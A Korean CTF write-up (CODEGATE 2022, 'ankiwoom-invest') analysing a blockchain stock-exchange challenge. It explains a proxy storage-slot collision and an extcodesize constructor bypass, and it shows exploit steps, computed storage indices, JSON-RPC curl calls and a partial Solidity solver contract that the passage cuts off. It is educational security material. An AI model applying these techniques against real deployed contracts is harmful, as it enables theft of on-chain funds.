Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130 to your computer and use it in GitHub Desktop.
Save YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130 to your computer and use it in GitHub Desktop.

CODEGATE 2022 Preliminary - ankiwoom-invest

tags: blockchain

[name=whysw@PLUS]

Participated as whysw@MINUS in this CTF.

Attachments

Attachments are uploaded on gist.

Challenge

๋ธ”๋ก์ฒด์ธ ์นดํ…Œ๊ณ ๋ฆฌ๊ฐ€ ์žˆ๊ธธ๋ž˜ ๋†€๋ž๋Š”๋ฐ, ์ง„์งœ ์Šค๋งˆํŠธ ์ปจํŠธ๋ž™ํŠธ ๋ฌธ์ œ๊ฐ€ ๋‚˜์™”์Šต๋‹ˆ๋‹ค.

What do you think about if stock-exchange server is running on blockchain? Can you buy codegate stock?

service: nc 13.125.194.44 20000

rpc: http://13.125.194.44:8545

faucet: http://13.125.194.44:8080

ํ”„๋ผ์ด๋น— ๋„คํŠธ์›Œํฌ์ด๊ธด ํ•˜์ง€๋งŒ, ํŠน์ • event๋ฅผ emitํ•˜๋ฉด flag๋ฅผ ์ค€๋‹ค๋Š” ์ ์€ ํƒ€ ๋ฌธ์ œ๋“ค๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

function isSolved() public isInited {
    if (_total_stocks[keccak256("codegate")] == 0) {
        emit solved(msg.sender);
        address payable addr = payable(address(0));
        selfdestruct(addr);
    }
}

codegate ์ฃผ์‹์ด 1๊ฐœ ๋ฐœํ–‰๋˜์–ด ์žˆ๋Š”๋ฐ, ๊ทธ๊ฒƒ์„ ์‚ฌ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

Failed Tries

Overflow

Investment.sol์—์„œ SafeMath.sol์„ importํ•˜๊ณ  ์žˆ๋Š”๋ฐ, ๊ฐ€๊ฒฉ์„ ๊ณ„์‚ฐํ•  ๋•Œ๋งŒ ์‚ฌ์šฉํ•˜๊ณ  ๋‹ค๋ฅธ ๋”ํ•˜๊ฑฐ๋‚˜ ๋นผ๋Š” ๋ถ€๋ถ„์—์„œ๋Š” ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

require(_balances[msg.sender] >= amount);
        
_balances[msg.sender] -= amount;
require(_stocks[msg.sender][stockName] >= _amountOfStock);
_balances[msg.sender] += amount;
_stocks[msg.sender][stockName] -= _amountOfStock;
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;

ํ•˜์ง€๋งŒ ์„ธ ๋ถ€๋ถ„ ๋ชจ๋‘ ์Œ์ˆ˜๋กœ ๋„˜์–ด๊ฐ€์ง€ ์•Š๋„๋ก ์ฒดํฌ๋ฅผ ์ž˜ ํ•˜๊ณ  ์žˆ๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์‚ฌ์‹ค ์˜๋ฏธ๊ฐ€ ์—†๋Š” ๊ฒƒ์ด, Solidity 0.8 ๋ฒ„์ „์—์„œ๋Š” SafeMath ๊ธฐ๋Šฅ์„ ๋‚ด์žฅํ•˜๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹จ์ˆœํžˆ -, + ์—ฐ์‚ฐ์ž๋งŒ ์‚ฌ์šฉํ•˜๋”๋ผ๋„ ์ž๋™์œผ๋กœ Overflow๋ฅผ ๊ฐ์ง€ํ•˜์—ฌ revertํ•œ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ๋ฌธ์ œ์—์„œ๋Š” 0.8.11๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์–ด ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค.

Logical Bug

  • ์‚ฌ๊ณ ํŒŒ๋Š” ๊ณผ์ •์—์„œ amount๊ฐ€ ์ž˜๋ชป ๊ณ„์‚ฐ๋  ๊ฐ€๋Šฅ์„ฑ
fee = 5;
denominator = 1e4;
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);

๋‚˜๋ˆ„๊ธฐ๊ฐ€ ๊ฐ€์žฅ ๋งˆ์ง€๋ง‰์— ๋™์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์ˆ˜์ˆ˜๋ฃŒ๊ฐ€ 0์›์ด ๋  ์ˆ˜๋Š” ์žˆ์ง€๋งŒ ์‹ธ๊ฒŒ ์‚ฌ์„œ ๋น„์‹ธ๊ฒŒ ํŒ” ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค.

Reentrancy

function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
    bytes32 stockName = keccak256(abi.encodePacked(_stockName));
    require(_amountOfStock > 0);
    require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
    _stocks[msg.sender][stockName] -= _amountOfStock;
    (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
    require(success);
    lastDonater = msg.sender;
    donaters.push(lastDonater);
}

msg.sender.call() ์ด ๋ถˆ๋ฆฌ๋Š”๋ฐ, ์ด ์ง€์ ์—์„œ Reentrancy๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. Malicious Contract์—์„œ ์ด donateStock() ํ•จ์ˆ˜๋ฅผ ๋ถ€๋ฅด๋ฉด, ๊ฐ™์€ Contract์—์„œ receiveStock(address,bytes32,uint256) ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์‹คํ–‰ ํ๋ฆ„์„ ๋„˜๊ฒจ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

isUser(msg.sender) ์ฒดํฌ

๊ทธ๋Ÿฌ๋‚˜ isUser(msg.sender)๋ฅผ ์ฒดํฌํ•˜๋Š” ๋ฃจํ‹ด์ด ์ƒ๋‹จ์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

function isUser(address _user) internal returns (bool) {
    uint size;
    assembly {
        size := extcodesize(_user)
    }
    return size == 0;
}

extcodesize()๋ฅผ address์— ๋Œ€ํ•ด ์ˆ˜ํ–‰ํ•˜๋Š”๋ฐ, ๋Œ€์ƒ์ด ์ฒด์ธ์— ์˜ฌ๋ผ๊ฐ„ Contract์ธ ๊ฒฝ์šฐ์— extcodesize๊ฐ€ ์žกํžˆ๋ฉด์„œ Contract์ž„์ด ๋“คํ‚ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ Contract์˜ Constructor๊ฐ€ ์‹คํ–‰๋˜๋Š” ํƒ€์ด๋ฐ์—๋Š” ์•„์ง ์ฒด์ธ์— ์˜ฌ๋ผ๊ฐ„ ์ƒํƒœ๊ฐ€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์—, ์•„์ง extcodesize()๊ฐ€ 0์œผ๋กœ ์žกํž™๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ Contract์ž„์—๋„ isUser()๊ฐ€ แ…ŸTrue๊ฐ€ ๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

However

_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));

ํ•˜์ง€๋งŒ ํฌ๋ง์ด ์‚ฌ๋ผ์ง€๋Š” ๋ถ€๋ถ„์€ ๋‚ด ์ฃผ์‹ ์ˆซ์ž๋ฅผ ์ค„์ด๋Š” ๋ถ€๋ถ„์ด call()๋ณด๋‹ค ์•ž์— ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌ๋ฉด ์žฌ์ง„์ž…์„ ํ•˜๋”๋ผ๋„ ์ด๋ฏธ ๋‚ด ์ฃผ์‹์ด ์ค„์–ด๋“ค์–ด ์žˆ๋Š” ์ƒํƒœ๊ธฐ ๋•Œ๋ฌธ์— ์˜๋ฏธ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€์ ์œผ๋กœ ๋‹จ์ˆœํ•˜๊ฒŒ -๋กœ ์ ํ˜€์žˆ๊ธฐ๋Š” ํ•˜์ง€๋งŒ ์ƒ์ˆ ํ•œ ๋ฐ”์™€ ๊ฐ™์ด Overflow ๋ฐฉ์–ด๊ฐ€ ๊ฑธ๋ ค์žˆ๋Š” ์ƒํƒœ์ด๊ธฐ ๋•Œ๋ฌธ์—, ์ด ๋‘ ์ค„์˜ ์ˆœ์„œ๊ฐ€ ๋ฐ”๋€Œ๋”๋ผ๋„ Reentrancy Attack์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. (๋‚ด ์ฃผ์‹ ๊ฐœ์ˆ˜๋ฅผ ๋„˜์–ด๊ฐ€๋Š” ์š”์ฒญ์€ ๋ชจ๋‘ Overflow๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด์„œ revert๋  ๊ฒƒ)

Solution

Dynamic Array

์ผ๋‹จ storage์— ๊ฐ’์ด ์–ด๋–ป๊ฒŒ ์ €์žฅ๋˜๋Š”์ง€๋ถ€ํ„ฐ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. Key-Value ๋ฐฉ์‹์œผ๋กœ ์ €์žฅ์ด ๋˜๋Š”๋ฐ, ๊ทธ ์ฃผ์†Œ๋Š” hashed key ์ž…๋‹ˆ๋‹ค. key, value, address ๋ชจ๋‘ 32๋ฐ”์ดํŠธ(256๋น„ํŠธ)์ž…๋‹ˆ๋‹ค.

contract Investment {
    address private implementation;
    address private owner;
    address[] public donaters;
    โ€ฆโ€ฆ

Contract์—์„œ ์“ฐ์ด๋Š” State variable๋“ค๋„ Storage์— ์ €์žฅ๋˜๋Š”๋ฐ์š”, ์œ„์—์„œ๋ถ€ํ„ฐ SLOT์„ ํ•˜๋‚˜์”ฉ ๋ถ€์—ฌ๋ฐ›์Šต๋‹ˆ๋‹ค. implementation์€ SLOT0์— ๋ฐฐ์ •์ด ๋˜์–ด key๊ฐ€ 0์ด ๋˜๊ณ , owner๋Š” SLOT1์— ๋ฐฐ์ •์ด ๋˜์–ด key๊ฐ€ 1์ด ๋ฉ๋‹ˆ๋‹ค. dynamic array์ธ donaters๋„ SLOT2์— ๋ฐฐ์ •์ด ๋˜์–ด key๊ฐ€ 2๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. key 2์— ๋Œ€ํ•ด์„œ ์ €์žฅ๋˜๋Š” ๊ฐ’์€ donaters ๋ฐฐ์—ด์˜ ๊ธธ์ด์ž…๋‹ˆ๋‹ค. ๋ฐฐ์—ด์˜ ์›์†Œ์— ์ ‘๊ทผํ•  ๋•Œ๋Š”, (key์ธ 2๋ฅผ ํ•ด์‹œํ•œ ๊ฐ’) + index๋ฅผ key๋กœ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ์›์†Œ์˜ ์ฃผ์†Œ๋Š” (key์ธ 2๋ฅผ ํ•ด์‹œํ•œ ๊ฐ’) + index๋ฅผ ํ•œ๋ฒˆ ๋” ํ•ด์‹œํ•œ ๊ฐ’์ด ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๋งŒ์•ฝ 2^256 ๊ธธ์ด์˜ dynamic array๊ฐ€ ์žˆ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”? key์ธ 2๋ฅผ ํ•ด์‹œํ•œ ๊ฐ’์„ ์‹œ์ž‘์œผ๋กœ ํ•˜๋Š” dynamic array๊ฐ€ EVM์˜ ์ „์ฒด storage๋ฅผ ๋ฎ์–ด๋ฒ„๋ฆฝ๋‹ˆ๋‹ค. ์ด๋Š” Dynamic array์— ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด Storage ๊ฐ’์— ๋Œ€ํ•ด Arbitrary read๊ฐ€, ์ˆ˜์ •๊นŒ์ง€ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด Arbitrary write๊นŒ์ง€ ๊ฐ€๋Šฅํ•ด์ง€๋Š” ๊ฒฐ๊ณผ๋ฅผ ๋‚ณ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด donaters์— ๋Œ€ํ•ด ๋ญ”๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ถ€๋ถ„์„ ์‚ดํŽด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
    bytes32 stockName = keccak256(abi.encodePacked(_stockName));
    require(_amountOfStock > 0);
    require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
    _stocks[msg.sender][stockName] -= _amountOfStock;
    (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
    require(success);
    lastDonater = msg.sender;
    donaters.push(lastDonater);
}
function isInvalidDonaters(uint index) internal returns (bool) {
    require(donaters.length > index);
    if (!isUser(lastDonater)) {
        return true;
    }
    else {
        return false;
    }
}
function modifyDonater(uint index) public isInited {
    require(isInvalidDonaters(index));
    donaters[index] = msg.sender;
}

์ƒํ™ฉ์ด ์ข‹์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ฐฐ์—ด์˜ ๊ธธ์ด๋ฅผ ๋Š˜๋ฆฌ๋Š” ๋ฐฉ๋ฒ•์€ donaters.push(lastDonater);๋ฐ–์— ์—†๊ธฐ์—, 2^256 ๊ธธ์ด์˜ ๋ฐฐ์—ด์„ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด์„œ๋Š” 2^254๊ฐœ์˜ ์ปจํŠธ๋ž™ํŠธ๋ฅผ ๋งŒ๋“ค์–ด ์ž‘์—…(mint()๋กœ 300์›์„ ๋ฐ›๊ณ  amd์ฃผ์‹์„ 4๊ฐœ ์‚ฌ์„œ 4๋ฒˆ donate)ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋ž˜๋„ ์ด ๋ฐฉํ–ฅ์ด ๋งž๊ธฐ๋Š” ํ•œ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด donateStock()์—์„œ ์ด๋ฏธ isUser()๋ฅผ ํ†ต๊ณผํ•œ ์ƒํƒœ์ด๊ธฐ ๋•Œ๋ฌธ์— lastDonater๋Š” ๋ถ„๋ช…ํžˆ valid user์ผํ…๋ฐ, modifyDonater()๊ฐ€ ๋™์ž‘ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” lastDonater๊ฐ€ contract์—ฌ์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. donateStock()์—๋Š” Constructor์—์„œ ์ ‘๊ทผํ•˜๊ณ , ๋‚˜์ค‘์— ๊ทธ Contract๊ฐ€ ์ฒด์ธ์— ์˜ฌ๋ผ๊ฐ€๊ณ  ๋‚˜์„œ ์ ‘๊ทผํ•˜๋ฉด lastDonater๊ฐ€ contract(invalid user)๊ฐ€ ๋˜์–ด ์žˆ๋Š” ๊ทธ๋ฆผ์ด ๊ทธ๋ ค์ง‘๋‹ˆ๋‹ค.


Proxy

Proxy.sol์„ ๋ด์•ผํ•  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;


contract Proxy {
    address implementation;
    address owner;
    
    struct log {
        bytes12 time;
        address sender;
    }
    log info;
    
    constructor(address _target) {
        owner = msg.sender;
        implementation = _target;
    }

    function setImplementation(address _target) public {
        require(msg.sender == owner);
        implementation = _target;
    }

    function _delegate(address _target) internal {
        assembly {
            calldatacopy(0, 0, calldatasize())

            let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)

            returndatacopy(0, 0, returndatasize())

            switch result
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    function _implementation() internal view returns (address) {
        return implementation;
    }

    function _fallback() internal {
        _beforeFallback();
        _delegate(_implementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }

    function _beforeFallback() internal {
        info.time = bytes12(uint96(block.timestamp));
        info.sender = msg.sender;
    }
}

๋™์ž‘์„ ๊ฐ„๋‹จํžˆ ์ •๋ฆฌํ•˜์ž๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  1. Proxy๋Š” implementation์˜ ๊ฐ’์œผ๋กœ ๋‹ค๋ฅธ Contract๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค.
  2. fallback()์ด๋‚˜ receive()๊ฐ€ ๋ถˆ๋ฆฌ๋ฉด a. block.timestamp์™€ msg.sender๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. b. calldata๋ฅผ ์ด์šฉํ•ด ๋Œ€์ƒ Contract์—๊ฒŒ delegateCall()ํ•ฉ๋‹ˆ๋‹ค. c. delegateCall()์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ›์•„์˜ต๋‹ˆ๋‹ค.

์ด๋ฆ„์ฒ˜๋Ÿผ ์ •๋ง proxy์˜ ์—ญํ• ์„ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. Proxy์— ๋Œ€๊ณ  init()์„ ํ˜ธ์ถœํ•˜๋ฉด, ๊ทธ๋Ÿฐ ํ•จ์ˆ˜(์ •ํ™•ํžˆ๋Š” ๊ฐ™์€ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ๊ฐ€์ง„)๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— fallback()์ด ํ˜ธ์ถœ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด delegateCall()์€ implementation contract์— ๋Œ€ํ•ด init()์„ ๋‹ค์‹œ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.


nc ์ ‘์†ํ–ˆ์„ ๋•Œ deployํ•ด์ฃผ๋Š” contract๊ฐ€ Proxy๊ฐ€ ๋งž๋Š”์ง€๋Š” ํ•ด๋‹น ์ฃผ์†Œ์— ์˜ฌ๋ผ๊ฐ€ ์žˆ๋Š” contract์˜ code๋ฅผ ๋œฏ์–ด์„œ ํ™•์ธํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

$ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getCode","params":["REDACTED", "latest"],"id":1}'

์ถ”๊ฐ€์ ์œผ๋กœ SLOT0์— ์žˆ๋Š” ๊ฐ’์„ ํ™•์ธํ•˜์—ฌ, ํ•ด๋‹น Proxy๊ฐ€ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” implementation์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ๋‚˜์•„๊ฐ€ ๊ทธ๊ฒƒ์ด Investment๊ฐ€ ๋งž์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

$ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["REDACTED", "0x0", "latest"],"id":1}'

๊ทธ๋Ÿฐ๋ฐ ์ด๋Ÿฐ ์“ธ๋ชจ๋„ ์—†๋Š” Proxy๊ฐ€ ์™œ ๋‹ฌ๋ ค ์žˆ์„๊นŒ์š”?


delegateCall

There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.

This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.

https://docs.soliditylang.org/en/v0.8.12/introduction-to-smart-contracts.html?highlight=delegateCall#delegatecall-callcode-and-libraries

์œ„์—์„œ ๋ณธ call()์€ ํ˜„์žฌ ์‹คํ–‰๋˜๊ณ  ์žˆ๋Š” contract๊ฐ€ ์ฃผ์ฒด๊ฐ€ ๋˜์–ด ๋‹ค๋ฅธ contract๋กœ ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ delegateCall()์€ ํ˜„์žฌ contract์˜ ์ƒํƒœ๋ฅผ ์œ ์ง€ํ•˜๋ฉด์„œ ๋‹ค๋ฅธ contract์˜ ์ฝ”๋“œ๋งŒ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

ํ˜„์žฌ ์ƒํƒœ์— ๋Œ€์ž…ํ•ด๋ณด๋ฉด, Proxy contract๊ฐ€ delegateCall()๋ฅผ ์“ฐ๋ฉด Proxy contract์˜ storage ์ƒํƒœ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ Investment contract์˜ ํ•จ์ˆ˜๊ฐ€ ๋ถˆ๋ฆด ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ด๊ฒƒ์„ ๊ธฐ์–ตํ•˜๋ฉด์„œ Proxy์™€ Investment์˜ แ…ŸState variables๋ฅผ ๋น„๊ตํ•ด๋ณด๋ฉด..!!

contract Proxy {
    address implementation;
    address owner;
    
    struct log {
        bytes12 time;
        address sender;
    }
    log info;
contract Investment {
    address private implementation;
    address private owner;
    address[] public donaters;

๋”ฑ ์›ํ•˜๋˜ ๊ณณ, dynamic array donaters์˜ ๊ธธ์ด๊ฐ€ ์ €์žฅ๋˜์–ด ์žˆ๋Š” SLOT2์— struct log๊ฐ€ ์ €์žฅ๋˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. bytes12๊ฐ€ 12๋ฐ”์ดํŠธ, address๊ฐ€ 20๋ฐ”์ดํŠธ์ด๋‹ˆ ๋”ฑ SLOT2๋ฅผ ์ฑ„์šฐ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์‹ค Investment.sol์— ์“ฐ์ง€๋„ ์•Š๋Š” implementation๊ณผ owner๊ฐ€ ์žˆ๋Š” ๊ฒƒ์„ ๋ณด๊ณ  ๋ˆˆ์น˜๋ฅผ ์ฑ˜์–ด์•ผ ํ–ˆ๊ฒ ๋„ค์š”.

Exploit

๊ทธ๋ž˜์„œ ๋‚˜์˜ค๋Š” ์ตœ์ข… ์ต์Šค ํ”Œ๋žœ์€,

1. Contract ํ•˜๋‚˜๋ฅผ ๋งŒ๋“ค์–ด์„œ Proxy์— ์ ‘๊ทผ
    a. init()
    b. mint()
    c. buyStock("amd", 4)  // ํšŒ์‚ฌ๋ช…๊ณผ ์ˆ˜๋Ÿ‰ ์•„๋ฌด๊ฑฐ๋‚˜
    d. donateStock(address(this), "amd", 1)  // ์ฃผ์†Œ, ํšŒ์‚ฌ๋ช…๊ณผ ์ˆ˜๋Ÿ‰ ์•„๋ฌด๊ฑฐ๋‚˜
    ๊ฒฐ๊ณผ: `lastDonater`: 1์—์„œ ๋งŒ๋“  Contract, ์ด์ œ๋Š” valid user ์•„๋‹˜.
2. mint()
3. buyStock("amd", 4) // ์กฐ์ž‘ํ•  ํšŒ์‚ฌ, ์ˆ˜๋Ÿ‰์€ 2 ์ด์ƒ์œผ๋กœ
4. modifyDonater(`0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8`)
    // codegate์˜ ๊ฐ€๊ฒฉ ์กฐ์ž‘
5. modifyDonater(`0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37`)
    // amd์˜ ๊ฐ€๊ฒฉ ์กฐ์ž‘
6. sellStock("amd", 4)
7. buyStock("codegate", 1)
8. isSolved()

๊ฐ€๊ฒฉ์„ ๋ฎ์–ด์”Œ์šธ ๋•Œ ์“ฐ๋Š” index ๊ฐ’์€ dynamic array๊ฐ€ ์‹œ์ž‘ํ•˜๋Š” SLOT2์˜ ์ฃผ์†Œ๊ฐ’(0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace)์„ ๊ธฐ์ค€์œผ๋กœ ๊ตฌํ•ฉ๋‹ˆ๋‹ค.

codegate
    0x233232af672f5f1aec5aa2de748da4122c59e74faa385262f32ac5a44f060f5f:
      Object
      key: 0x0fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6
      value: 0x085bec12b4b9a40d8f483cb1c71c71c7
amd
    0x7f9580bb2e402da609782f512a26ac511100385adb6a8523baea91bbb2227775:
      Object
      key: 0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605
      value: 0x4a

key๊ฐ’์ด SLOT2์˜ ์ฃผ์†Œ๊ฐ’ + index์ด๋‹ˆ index๋Š” SLOT2์˜ ์ฃผ์†Œ๊ฐ’ - key๊ฐ’์ž…๋‹ˆ๋‹ค.

>>> '0x{0:0{1}x}'.format(0x10fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64)
'0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8'
>>> '0x{0:0{1}x}'.format(0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64)
'0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37'

ํ‰์†Œ์— ropsten testnet ์“ฐ๋˜ ๋ฌธ์ œ๋“ค์€ remix์™€ metamask ์กฐํ•ฉ์œผ๋กœ ํ’€์—ˆ์–ด์„œ, ์ด๋ฒˆ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ์—๋„ ํ”„๋ผ์ด๋น— ๋„คํŠธ์›Œํฌ๊ธด ํ•˜์ง€๋งŒ ๋˜‘๊ฐ™์ด RPC ์„œ๋ฒ„๋ฅผ ๋“ฑ๋กํ•ด์„œ ํ’€๋ ค๊ณ  ์‹œ๋„ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ metamask๊ฐ€ ๋™์ž‘ํ•˜์ง€ ์•Š์•„์„œ ํ‹ฐ์ผ“์„ ๋‚ ๋ ธ๋”๋‹ˆ JSON RPC๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ์–ด์„œ ๊ทธ๋Ÿด ์ˆ˜ ์žˆ๋‹ค๋Š” ๋‹ต์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.

var whitelist = [
    "eth_blockNumber",
    "eth_call",
    "eth_chainId",
    "eth_estimateGas",
    "eth_gasPrice",
    "eth_getBalance",
    "eth_getCode",
    "eth_getStorageAt",
    "eth_getTransactionByHash",
    "eth_getTransactionCount",
    "eth_getTransactionReceipt",
    "eth_sendRawTransaction",
    "net_version",
    "rpc_modules",
    "web3_clientVersion"
];

https://github.com/chainflag/ctf-eth-env/blob/78cf308b3579ff2a9849dc12adabbcc98da7b6c1/docker/rpcproxy/njs/eth-jsonrpc-access.js ์ •๋ง ํ”ผ๋„ ๋ˆˆ๋ฌผ๋„ ์—†๊ฒŒ ๋ง‰ํ˜€ ์žˆ์—ˆ๋Š”๋ฐ์š”, ํŠนํžˆ signTransaction์ด ์—†์–ด์„œ web3.eth.accounts.signTransaction์ด ์•ˆ๋˜๊ณ , ๋กœ์ปฌ์—์„œ sign์„ ํ•ด์„œ ๋ณด๋‚ด์•ผ ํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ chainId๋ฅผ ์ž˜ ์„ค์ •์„ ๋ชปํ•ด์ค˜์„œ invalid sender ์˜ค๋ฅ˜๊ฐ€ ๋–ด๊ณ , ๊ฒฐ๊ตญ const common = Common.custom({ chainId: 0x746 })์œผ๋กœ ํ•ด๊ฒฐํ–ˆ์Šต๋‹ˆ๋‹ค.


์ตœ์ข… ์†”๋ฒ„ .env

# .env
API_URL = "http://13.125.194.44:8545"
PRIVATE_KEY = "REDACTED"
ADDRESS = "REDACTED"

Sol.sol


// SPDX-License-Identifier: MIT

pragma solidity >=0.8.11;

contract Sol {
    address public proxy;
    string public targetStock;

    constructor (address _proxy) {
        proxy = _proxy;
        setTargetStock("amd");
        init();
        mint();
        buyStock(4);
        donateStock(1);
    }

    function setTargetStock(string memory name) public {
        targetStock = name;
    }

    function init() public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("init()"));
        require(success);
    }

    function buyStock(uint amount) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("buyStock(string,uint256)", targetStock, amount));
        require(success);
    }

    function sellStock(uint amount) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("sellStock(string,uint256)", targetStock, amount));
        require(success);
    }

    function donateStock(uint amount) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("donateStock(address,string,uint256)", address(this), targetStock, amount));
        require(success);
    }

    function modifyDonater(uint index) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("modifyDonater(uint256)", index));
        require(success);
    }

